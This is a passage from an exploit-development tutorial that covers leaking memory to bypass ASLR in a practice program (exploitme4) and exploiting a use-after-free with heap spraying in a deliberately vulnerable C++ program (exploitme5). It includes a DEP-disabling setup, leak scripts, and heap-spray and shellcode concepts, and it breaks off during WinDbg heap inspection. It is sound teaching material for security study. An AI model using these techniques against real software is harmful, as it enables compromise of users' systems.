After updating name.dat, press ‘y‘ in the console of exploitme4.exe and look at the portion of memory dumped. Since exploitme4.exe shows 0x20 bytes at a time, we can increment or decrement ptr by 0x20. Let’s try other values (keep pressing ‘y‘ in the console after each update of the file name.dat):

write_file(0x40)
write_file(0x20)
write_file(0x00)
write_file(0xa0)
write_file(0xc0)

The value 0xc0 does the trick:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa└°&!
 0x00000000 0x0026f8cc 0x011421a0 0x61616161 0x61616161 0x61616161 0x61616161 0x
61616161]
Do you want to read the name again? [y/n]

It’s clear that 0x011421a0 is the pointer to the VFTable. Now let’s read the contents of the VFTable:

def write_file(ptr):
    with open(r'c:\name.dat', 'wb') as f:
        name = 'a'*32 + struct.pack('<I', ptr)
        f.write(name)

write_file(0x011421a0)

By pressing ‘y‘ again in the console, we see the following:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaá!¶☺☺!
 0x01141000 0x01141020 0x00000048 0x00000000 0x00000000 0x00000000 0x00000000 0x
00000000]
Do you want to read the name again? [y/n]

The two pointers to the virtual functions are 0x01141000 and 0x01141020. We saw that the RVA to the first one is 0x1000, therefore the base address of exploitme4 is

0:000> ? 01141000 - 1000
Evaluate expression: 18087936 = 01140000

Now it’s time to use what we know about the IAT of exploitme4.exe:

@exploitme4 + 00002000    kernel32 + 00014a25
@exploitme4 + 00002004    ntdll + 00039dd5
@exploitme4 + 00002024    msvcr120 + 000a4ced

Because we’ve just found out that the base address of exploitme4.exe is 0x01140000, we can write

@0x1142000    kernel32 + 00014a25
@0x1142004    ntdll + 00039dd5
@0x1142024    msvcr120 + 000a4ced

Let’s overwrite ptr with the first address:

write_file(0x1142000)

By pressing ‘y‘ in the console we get:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
 0x76334a25 0x770f9dd5 0x763334c9 0x76331420 0x763311f8 0x763316f1 0x7710107b 0x
763351fd]
Do you want to read the name again? [y/n]

We get two values: 0x76334a25 and 0x770f9dd5.

We need the last one:

write_file(0x1142024)

By pressing ‘y‘ in the console we get:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ¶☺☺!
 0x6ca94ced 0x6ca6bb8d 0x6ca1e25f 0x6ca1c7ce 0x6ca24293 0x6ca6bbb8 0x6ca24104 0x
6ca955eb]
Do you want to read the name again? [y/n]

The final value is 0x6ca94ced.

So we have

@0x1142000    kernel32 + 00014a25 = 0x76334a25
@0x1142004    ntdll + 00039dd5 = 0x770f9dd5
@0x1142024    msvcr120 + 000a4ced = 0x6ca94ced

Therefore,

kernel32 = 0x76334a25 - 0x00014a25 = 0x76320000
ntdll = 0x770f9dd5 - 0x00039dd5 = 0x770c0000
msvcr120 = 0x6ca94ced - 0x000a4ced = 0x6c9f0000

Congratulations! We have just bypassed ASLR!

Of course, all this process makes sense when we have remote access to the program but not to the machine. Moreover, in an actual exploit all this can and need to be automated. Here, I’m just trying to show you the principles and therefore I’ve willingly omitted any superflous details which would’ve complicated matters without adding any real depth to your comprehension. Don’t worry: when we deal with Internet Explorer we’ll see a real exploit in all its glory!

The post Exploitme4 (ASLR) appeared first on Exploit Development Community.


Exploitme5 (Heap spraying & UAF)

If you haven’t already, read the previous articles (I, II, III, IV) before proceeding.

For this example you’ll need to disable DEP. In VS 2013, go to Projectproperties, and modify the configuration for Release as follows:

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

The source code of exploitme5 is the following:

#include <conio.h>
#include <cstdio>
#include <cstdlib>
#include <vector>

using namespace std;

const bool printAddresses = true;

class Mutator {
protected:
    int param;

public:
    Mutator(int param) : param(param) {}

    virtual int getParam() const {
        return param;
    }

    virtual void mutate(void *data, int size) const = 0;
};

class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!

public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}

    virtual void mutate(void *data, int size) const {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4; ++i)
            ptr[i] *= getParam();
    }
};

class LowerCaser : public Mutator {
public:
    LowerCaser() : Mutator(0) {}

    virtual void mutate(void *data, int size) const {
        char *ptr = (char *)data;
        for (int i = 0; i < size; ++i)
            if (ptr[i] >= 'a' && ptr[i] <= 'z')
                ptr[i] -= 0x20;
    }
};

class Block {
    void *data;
    int size;

public:
    Block(void *data, int size) : data(data), size(size) {}
    void *getData() const { return data; }
    int getSize() const { return size; }
};

// Global variables
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };

void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];

                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d", &multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0] = new Multiplier(multiplier);
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}

void listBlocks() {
    printf("------- Blocks -------\n");
    if (!printAddresses)
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: size = %d\n", i, blocks[i].getSize());
    else
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
    printf("----------------------\n\n");
}

void readBlock() {
    char *data;
    char filePath[1024];

    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *f = fopen(filePath, "rb");
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];

            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);

            blocks.push_back(Block(data, bytes));

            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}

void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d", &copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}

void myExit() {
    exit(0);
}

void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}

int handleMenu() {
    while (true) {
        printf(
            "1) Read block from file\n"
            "2) List blocks\n"
            "3) Duplicate Block\n"
            "4) Configure mutator\n"
            "5) Mutate block\n"
            "6) Exit\n"
            "\n"
            "Your choice [1-6]: ");
        int choice = _getch();
        printf("\n\n");
        if (choice >= '1' && choice <= '6')
            return choice - '0';
        else
            printf("Wrong choice!\n\n");
    }
}

int main() {
    typedef void(*funcPtr)();
    funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };

    while (true) {
        int choice = handleMenu();
        functions[choice - 1]();
    }

    return 0;
}

This program is longer than the previous ones, so let’s talk a little about it. This program lets you:

  1. read a block of data from file;
  2. duplicate a block by doing copies of it;
  3. transform a block by doing some operations on it.

You can transform a block by using a mutator. There are just two mutators: the first is called Multiplier and multiplies the dwords in a block by a multiplier, whereas the second is called LowerCaser and simply trasform ASCII characters to lowercase.

The Multiplier mutator can be configured, i.e. the multiplier can be specified by the user.

UAF

This program has a bug of type UAF (Use After Free). Here’s an example of a UAF bug:

Object *obj = new Object;
...
delete obj;           // Free
...
obj->method();        // Use

As you can see, obj is used after it’s been freed. The problem is that in C++, objects must be freed manually (there is no garbage collector) so, because of a programming error, an object can be freed while it’s still in use. After the deallocation, obj becomes a so-called dangling pointer because it points to deallocated data.

How can we exploit such a bug? The idea is to take control of the portion of memory pointed to by the dangling pointer. To understand how we can do this, we need to know how the memory allocator works. We talked about the Windows Heap in the Heap section.

In a nutshell, the heap maintains lists of free blocks. Each list contains free blocks of a specific size. For example, if we need to allocate a block of 32 bytes, a block of 40 bytes is removed from the appropriate list of free blocks and returned to the caller. Note that the block is 40 bytes because 8 bytes are used for the metadata. When the block is released by the application, the block is reinserted into the appropriate list of free blocks.

Here comes the most important fact: when the allocator needs to remove a free block from a free list, it tends to return the last free block which was inserted into that list. This means that if an object of, say, 32 bytes is deallocated and then another object of 32 bytes is allocated, the second object will occupy the same portion of memory that was occupied by the first object.

Let’s look at an example:

Object *obj = new Object;
...
delete obj;
Object *obj2 = new Object;
...
obj->method();

In this example, obj and obj2 will end up pointing to the same object because the block of memory released by delete is immediately returned by the following new.

What happens if instead of another object we allocate an array of the same size? Look at this example:

Object *obj = new Object;         // sizeof(Object) = 32
...
delete obj;
int *data = new int[32/4];
data[0] = ptr_to_evil_VFTable;
...
obj->virtual_method();

As we saw before when we exploited exploitme4, the first DWORD of an object which has a virtual function table is a pointer to that table. In the example above, through the UAF bug, we are able to overwrite the pointer to the VFTable with a value of our choosing. This way, obj->virtual_method() may end up calling our payload.

Heap Spraying

To spray the heap means filling the heap with data we control. In browsers we can do this through Javascript by allocating strings or other objects. Spraying the heap is a way to put our shellcode in the address space of the process we’re attacking. Let’s say we succeed in filling the heap with the following data:

nop
nop
nop
.
.
.
nop
shellcode
nop
nop
nop
.
.
.
nop
shellcode
.
.
.
(and so on)

Even if the allocations on the Heap are not completely deterministic, if we put enough data on the heap, and the nop sleds are long enough with respect to our shellcode, it’s highly probable that by jumping at a specific address on the heap we’ll hit a nop sled and our shellcode will be executed.

By studying how the heap behaves, we can even perform precise heap spraying, so that we don’t need any nop sleds.

UAF in exploitme5

The UAF bug is located in the mutateBlock() function. Here’s the code again:

void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];         <========================== FREE

                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d", &multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0] = new Multiplier(multiplier);    <======= only if res is true
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}

Look at the two remarks in the code above. This function lets us change the multiplier used by the Multiplier mutator, but if we enter an invalid value, for instance “asdf“, scanf_s() returns false and mutators[0] becomes a dangling pointer because still points to the destroyed object.

Here’s the definition of Multiplier (and its base class Mutator):

class Mutator {
protected:
    int param;

public:
    Mutator(int param) : param(param) {}

    virtual int getParam() const {
        return param;
    }

    virtual void mutate(void *data, int size) const = 0;
};

class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!

public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}

    virtual void mutate(void *data, int size) const {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4; ++i)
            ptr[i] *= getParam();
    }
};

The size of Multiplier is:

bytes       reason
--------------------------------
  4         VFTable ptr
  4         "param" property
40*4        "reserved" property
--------------------------------
 168 bytes

So if we allocate a block of 168 bytes, the allocator will return to us the block which is still pointed to by mutators[0]. How do we create such a block? We can use the option Read block from file, but it might not work because fopen() is called before the new block is allocated. This may cause problems because fopen() calls the allocator internally. Here’s the code for readBlock():

void readBlock() {
    char *data;
    char filePath[1024];

    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *f = fopen(filePath, "rb");               <======================
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];                    <======================

            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);

            blocks.push_back(Block(data, bytes));

            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}

For convenience, the code prints the addresses of the deallocated Multiplier (mutators[0]) and of the allocated blocks (in listBlocks()).

Let’s try to exploit the UAF bug. First let’s create a file of 168 bytes with the following Python script:

with open(r'd:\obj.dat', 'wb') as f:
  f.write('a'*168)

Now let’s run exploitme5:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x004fc488          <======== deallocated block
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x004fc488; size = 168    <======= allocated block
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

As you can see, the new block was allocated at the same address of the deallocated mutator. This means that we control the contents of the memory pointed to by mutators[0].

This seems to be working, but a better way would be to

  1. Read block from file
  2. Configure mutator ===> UAF bug
  3. Duplicate Block

This is more reliable because duplicateBlock() allocate a new block right away without calling other dangerous functions before:

void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d", &copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];       <========================
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}

Let’s try also this second method:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x0071c488            <=====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x0071c538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x0071c538; size = 168
block 1: address = 0x0071c488; size = 168   <=====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

This works as well, of course.

Heap Spraying in eploitme5

We can spray the heap by reading a big block from file and then making many copies of it. Let’s try to allocate blocks of 1 MB. We can create the file with this script:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*0x100000)

Note that 0x100000 is 1 MB in hexadecimal. Let’s open exploitme5 in WinDbg and run it:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048576 bytes)        <================ 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 200       <==================== 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
block 1: address = 0x02270020; size = 1048576
block 2: address = 0x02380020; size = 1048576
block 3: address = 0x02490020; size = 1048576
block 4: address = 0x025a0020; size = 1048576
block 5: address = 0x026b0020; size = 1048576
block 6: address = 0x027c0020; size = 1048576
block 7: address = 0x028d0020; size = 1048576
block 8: address = 0x029e0020; size = 1048576
block 9: address = 0x02af0020; size = 1048576
block 10: address = 0x02c00020; size = 1048576
block 11: address = 0x02d10020; size = 1048576
block 12: address = 0x02e20020; size = 1048576
block 13: address = 0x02f30020; size = 1048576
block 14: address = 0x03040020; size = 1048576
block 15: address = 0x03150020; size = 1048576
block 16: address = 0x03260020; size = 1048576
block 17: address = 0x03370020; size = 1048576
block 18: address = 0x03480020; size = 1048576
block 19: address = 0x03590020; size = 1048576
block 20: address = 0x036a0020; size = 1048576
block 21: address = 0x037b0020; size = 1048576
block 22: address = 0x038c0020; size = 1048576
block 23: address = 0x039d0020; size = 1048576
block 24: address = 0x03ae0020; size = 1048576
block 25: address = 0x03bf0020; size = 1048576
block 26: address = 0x03d00020; size = 1048576
block 27: address = 0x03e10020; size = 1048576
block 28: address = 0x03f20020; size = 1048576
block 29: address = 0x04030020; size = 1048576
block 30: address = 0x04140020; size = 1048576
block 31: address = 0x04250020; size = 1048576
block 32: address = 0x04360020; size = 1048576
block 33: address = 0x04470020; size = 1048576
block 34: address = 0x04580020; size = 1048576
block 35: address = 0x04690020; size = 1048576
block 36: address = 0x047a0020; size = 1048576
block 37: address = 0x048b0020; size = 1048576
block 38: address = 0x049c0020; size = 1048576
block 39: address = 0x04ad0020; size = 1048576
block 40: address = 0x04be0020; size = 1048576
block 41: address = 0x04cf0020; size = 1048576
block 42: address = 0x04e00020; size = 1048576
block 43: address = 0x04f10020; size = 1048576
block 44: address = 0x05020020; size = 1048576
block 45: address = 0x05130020; size = 1048576
block 46: address = 0x05240020; size = 1048576
block 47: address = 0x05350020; size = 1048576
block 48: address = 0x05460020; size = 1048576
block 49: address = 0x05570020; size = 1048576
block 50: address = 0x05680020; size = 1048576
block 51: address = 0x05790020; size = 1048576
block 52: address = 0x058a0020; size = 1048576
block 53: address = 0x059b0020; size = 1048576
block 54: address = 0x05ac0020; size = 1048576
block 55: address = 0x05bd0020; size = 1048576
block 56: address = 0x05ce0020; size = 1048576
block 57: address = 0x05df0020; size = 1048576
block 58: address = 0x05f00020; size = 1048576
block 59: address = 0x06010020; size = 1048576
block 60: address = 0x06120020; size = 1048576
block 61: address = 0x06230020; size = 1048576
block 62: address = 0x06340020; size = 1048576
block 63: address = 0x06450020; size = 1048576
block 64: address = 0x06560020; size = 1048576
block 65: address = 0x06670020; size = 1048576
block 66: address = 0x06780020; size = 1048576
block 67: address = 0x06890020; size = 1048576
block 68: address = 0x069a0020; size = 1048576
block 69: address = 0x06ab0020; size = 1048576
block 70: address = 0x06bc0020; size = 1048576
block 71: address = 0x06cd0020; size = 1048576
block 72: address = 0x06de0020; size = 1048576
block 73: address = 0x06ef0020; size = 1048576
block 74: address = 0x07000020; size = 1048576
block 75: address = 0x07110020; size = 1048576
block 76: address = 0x07220020; size = 1048576
block 77: address = 0x07330020; size = 1048576
block 78: address = 0x07440020; size = 1048576
block 79: address = 0x07550020; size = 1048576
block 80: address = 0x07660020; size = 1048576
block 81: address = 0x07770020; size = 1048576
block 82: address = 0x07880020; size = 1048576
block 83: address = 0x07990020; size = 1048576
block 84: address = 0x07aa0020; size = 1048576
block 85: address = 0x07bb0020; size = 1048576
block 86: address = 0x07cc0020; size = 1048576
block 87: address = 0x07dd0020; size = 1048576
block 88: address = 0x07ee0020; size = 1048576
block 89: address = 0x07ff0020; size = 1048576
block 90: address = 0x08100020; size = 1048576
block 91: address = 0x08210020; size = 1048576
block 92: address = 0x08320020; size = 1048576
block 93: address = 0x08430020; size = 1048576
block 94: address = 0x08540020; size = 1048576
block 95: address = 0x08650020; size = 1048576
block 96: address = 0x08760020; size = 1048576
block 97: address = 0x08870020; size = 1048576
block 98: address = 0x08980020; size = 1048576
block 99: address = 0x08a90020; size = 1048576
block 100: address = 0x08ba0020; size = 1048576
block 101: address = 0x08cb0020; size = 1048576
block 102: address = 0x08dc0020; size = 1048576
block 103: address = 0x08ed0020; size = 1048576
block 104: address = 0x08fe0020; size = 1048576
block 105: address = 0x090f0020; size = 1048576
block 106: address = 0x09200020; size = 1048576
block 107: address = 0x09310020; size = 1048576
block 108: address = 0x09420020; size = 1048576
block 109: address = 0x09530020; size = 1048576
block 110: address = 0x09640020; size = 1048576
block 111: address = 0x09750020; size = 1048576
block 112: address = 0x09860020; size = 1048576
block 113: address = 0x09970020; size = 1048576
block 114: address = 0x09a80020; size = 1048576
block 115: address = 0x09b90020; size = 1048576
block 116: address = 0x09ca0020; size = 1048576
block 117: address = 0x09db0020; size = 1048576
block 118: address = 0x09ec0020; size = 1048576
block 119: address = 0x09fd0020; size = 1048576
block 120: address = 0x0a0e0020; size = 1048576
block 121: address = 0x0a1f0020; size = 1048576
block 122: address = 0x0a300020; size = 1048576
block 123: address = 0x0a410020; size = 1048576
block 124: address = 0x0a520020; size = 1048576
block 125: address = 0x0a630020; size = 1048576
block 126: address = 0x0a740020; size = 1048576
block 127: address = 0x0a850020; size = 1048576
block 128: address = 0x0a960020; size = 1048576
block 129: address = 0x0aa70020; size = 1048576
block 130: address = 0x0ab80020; size = 1048576
block 131: address = 0x0ac90020; size = 1048576
block 132: address = 0x0ada0020; size = 1048576
block 133: address = 0x0aeb0020; size = 1048576
block 134: address = 0x0afc0020; size = 1048576
block 135: address = 0x0b0d0020; size = 1048576
block 136: address = 0x0b1e0020; size = 1048576
block 137: address = 0x0b2f0020; size = 1048576
block 138: address = 0x0b400020; size = 1048576
block 139: address = 0x0b510020; size = 1048576
block 140: address = 0x0b620020; size = 1048576
block 141: address = 0x0b730020; size = 1048576
block 142: address = 0x0b840020; size = 1048576
block 143: address = 0x0b950020; size = 1048576
block 144: address = 0x0ba60020; size = 1048576
block 145: address = 0x0bb70020; size = 1048576
block 146: address = 0x0bc80020; size = 1048576
block 147: address = 0x0bd90020; size = 1048576
block 148: address = 0x0bea0020; size = 1048576
block 149: address = 0x0bfb0020; size = 1048576
block 150: address = 0x0c0c0020; size = 1048576
block 151: address = 0x0c1d0020; size = 1048576
block 152: address = 0x0c2e0020; size = 1048576
block 153: address = 0x0c3f0020; size = 1048576
block 154: address = 0x0c500020; size = 1048576
block 155: address = 0x0c610020; size = 1048576
block 156: address = 0x0c720020; size = 1048576
block 157: address = 0x0c830020; size = 1048576
block 158: address = 0x0c940020; size = 1048576
block 159: address = 0x0ca50020; size = 1048576
block 160: address = 0x0cb60020; size = 1048576
block 161: address = 0x0cc70020; size = 1048576
block 162: address = 0x0cd80020; size = 1048576
block 163: address = 0x0ce90020; size = 1048576
block 164: address = 0x0cfa0020; size = 1048576
block 165: address = 0x0d0b0020; size = 1048576
block 166: address = 0x0d1c0020; size = 1048576
block 167: address = 0x0d2d0020; size = 1048576
block 168: address = 0x0d3e0020; size = 1048576
block 169: address = 0x0d4f0020; size = 1048576
block 170: address = 0x0d600020; size = 1048576
block 171: address = 0x0d710020; size = 1048576
block 172: address = 0x0d820020; size = 1048576
block 173: address = 0x0d930020; size = 1048576
block 174: address = 0x0da40020; size = 1048576
block 175: address = 0x0db50020; size = 1048576
block 176: address = 0x0dc60020; size = 1048576
block 177: address = 0x0dd70020; size = 1048576
block 178: address = 0x0de80020; size = 1048576
block 179: address = 0x0df90020; size = 1048576
block 180: address = 0x0e0a0020; size = 1048576
block 181: address = 0x0e1b0020; size = 1048576
block 182: address = 0x0e2c0020; size = 1048576
block 183: address = 0x0e3d0020; size = 1048576
block 184: address = 0x0e4e0020; size = 1048576
block 185: address = 0x0e5f0020; size = 1048576
block 186: address = 0x0e700020; size = 1048576
block 187: address = 0x0e810020; size = 1048576
block 188: address = 0x0e920020; size = 1048576
block 189: address = 0x0ea30020; size = 1048576
block 190: address = 0x0eb40020; size = 1048576
block 191: address = 0x0ec50020; size = 1048576
block 192: address = 0x0ed60020; size = 1048576
block 193: address = 0x0ee70020; size = 1048576
block 194: address = 0x0ef80020; size = 1048576
block 195: address = 0x0f090020; size = 1048576
block 196: address = 0x0f1a0020; size = 1048576
block 197: address = 0x0f2b0020; size = 1048576
block 198: address = 0x0f3c0020; size = 1048576
block 199: address = 0x0f4d0020; size = 1048576
block 200: address = 0x0f5e0020; size = 1048576
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

Now click on DebugBreak in WinDbg and inspect the heap:

0:001> !heap
NtGlobalFlag enables following debugging aids for new heaps:    tail checking
    free checking
    validate parameters
Index   Address  Name      Debugging options enabled
  1:   00140000                 tail checking free checking validate parameters
  2:   00650000                 tail checking free checking validate parameters
  3:   01c80000                 tail checking free checking validate parameters
  4:   01e10000                 tail checking free checking validate parameters
0:001> !heap -m           <=========== -m displays the segments
Index   Address  Name      Debugging options enabled
  1:   00140000
    Segment at 00140000 to 00240000 (0002f000 bytes committed)
  2:   00650000
    Segment at 00650000 to 00660000 (00003000 bytes committed)
  3:   01c80000
    Segment at 01c80000 to 01c90000 (0000c000 bytes committed)
    Segment at 01e50000 to 01f50000 (0001c000 bytes committed)
  4:   01e10000
    Segment at 01e10000 to 01e50000 (00001000 bytes committed)

That’s odd… where are our 200 MB of data? The problem is that when the Heap manager is asked to allocate a block whose size is above a certain threshold, the allocation request is sent directly to the Virtual Memory Manager. Let’s have a look:

0:001> !heap -s                   ("-s" stands for "summary")
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x66cab5dc
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02380000 - 02380000 (size 00000000)
Virtual block: 02490000 - 02490000 (size 00000000)
Virtual block: 025a0000 - 025a0000 (size 00000000)
Virtual block: 026b0000 - 026b0000 (size 00000000)
Virtual block: 027c0000 - 027c0000 (size 00000000)
Virtual block: 028d0000 - 028d0000 (size 00000000)
Virtual block: 029e0000 - 029e0000 (size 00000000)
Virtual block: 02af0000 - 02af0000 (size 00000000)
Virtual block: 02c00000 - 02c00000 (size 00000000)
Virtual block: 02d10000 - 02d10000 (size 00000000)
Virtual block: 02e20000 - 02e20000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03040000 - 03040000 (size 00000000)
Virtual block: 03150000 - 03150000 (size 00000000)
Virtual block: 03260000 - 03260000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03480000 - 03480000 (size 00000000)
Virtual block: 03590000 - 03590000 (size 00000000)
Virtual block: 036a0000 - 036a0000 (size 00000000)
Virtual block: 037b0000 - 037b0000 (size 00000000)
Virtual block: 038c0000 - 038c0000 (size 00000000)
Virtual block: 039d0000 - 039d0000 (size 00000000)
Virtual block: 03ae0000 - 03ae0000 (size 00000000)
Virtual block: 03bf0000 - 03bf0000 (size 00000000)
Virtual block: 03d00000 - 03d00000 (size 00000000)
Virtual block: 03e10000 - 03e10000 (size 00000000)
Virtual block: 03f20000 - 03f20000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04140000 - 04140000 (size 00000000)
Virtual block: 04250000 - 04250000 (size 00000000)
Virtual block: 04360000 - 04360000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04580000 - 04580000 (size 00000000)
Virtual block: 04690000 - 04690000 (size 00000000)
